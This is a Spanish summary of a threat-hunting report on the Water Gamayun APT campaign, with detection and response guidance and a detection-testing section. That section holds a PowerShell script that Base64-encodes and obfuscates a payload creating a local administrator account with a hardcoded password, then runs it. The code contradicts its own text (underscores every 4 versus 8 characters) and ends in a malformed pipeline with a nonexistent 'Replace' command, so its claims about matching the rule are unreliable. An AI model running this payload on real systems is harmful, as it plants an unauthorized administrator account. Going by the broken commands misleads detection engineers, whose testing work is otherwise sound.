La Caza de Amenazas de Zscaler Expone y Reconstruye la Campaña APT Water Gamayun

Resumen

El informe cubre una intrusión en varias etapas atribuida al grupo Water Gamayun APT que explota una vulnerabilidad de día cero de MMC (CVE-2025-26633) para entregar cargas útiles de PowerShell en un archivo RAR de doble extensión.

Investigación

Zscaler reconstruyó la cadena de muerte desde un redireccionamiento de búsqueda de Bing a un sitio comprometido, descarga de un archivo .pdf.rar, explotación de MSC EvilTwin, scripts de PowerShell en etapas y ejecución del backdoor ItunesC.exe.

Mitigación

La guía incluye monitorear archivos de doble extensión, inspeccionar redirecciones, detectar comandos de PowerShell codificados y bloquear la IP y los dominios maliciosos.

Respuesta

Al detectar, alertar sobre mmc.exe generando PowerShell con -EncodedCommand, poner en cuarentena el archivo, bloquear conexiones salientes a 103.246.147.17 y activar procedimientos de respuesta a incidentes.

Ejecución de simulación

Prerequisito: El Control Preventivo de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tender a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

• Narrativa del ataque y comandos:
  El atacante, aprovechando la metodología de Water Gamayun, prepara una carga útil maliciosa de PowerShell que escribe un nuevo usuario administrador local y lo agrega al grupo de Administradores. Para ocultar la carga útil, el atacante:

  1. Escribe el script de PowerShell en texto claro.
  2. Lo codifica en Base64 de UTF‑16LE.
  3. Inserta un guion bajo (_) después de cada 4 caracteres para aumentar la entropía.
  4. Encadena una operación |Replace('_','') de modo que PowerShell en tiempo de ejecución elimina los guiones bajos antes de decodificar, igualando la firma de detección.

  El comando de ejecución final es:

  powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

  Esta línea de comando exacta satisface las dos condiciones de la regla Sigma (-EncodedCommand and |Replace('_','')), generando entradas Sysmon EventID 1 y Security EventID 4688 que la regla marcará.

• Script de prueba de regresión:
  El script a continuación automatiza la creación de la carga útil ofuscada y la ejecuta. Puede ejecutarse en cualquier host de Windows con PowerShell 5.1+.

  # Simulación de ofuscación de PowerShell al estilo Water Gamayun
  # Paso 1: Definir la carga útil de PowerShell maliciosa (agrega un usuario administrador local)
  $payload = @'
  $user = "tempAdmin"
  $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
  New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
  Add-LocalGroupMember -Group "Administrators" -Member $user
  '@
  
  # Paso 2: Codificar a UTF-16LE y luego a Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # Paso 3: Inyectar guiones bajos cada 8 caracteres (simulando el patrón del grupo)
  $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
  
  # Paso 4: Ejecutar con el pipeline requerido Replace('_','')
  powershell.exe -EncodedCommand $b64Underscored | Replace('_','')

• Comandos de limpieza:
  Los siguientes comandos eliminan el usuario de prueba y restauran el entorno.

  # Limpieza: Eliminar la cuenta de administrador temporal creada por la prueba
  $user = "tempAdmin"
  if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
      Remove-LocalUser -Name $user
      Write-Host "Deleted test user $user."
  } else {
      Write-Host "Test user $user does not exist."
  }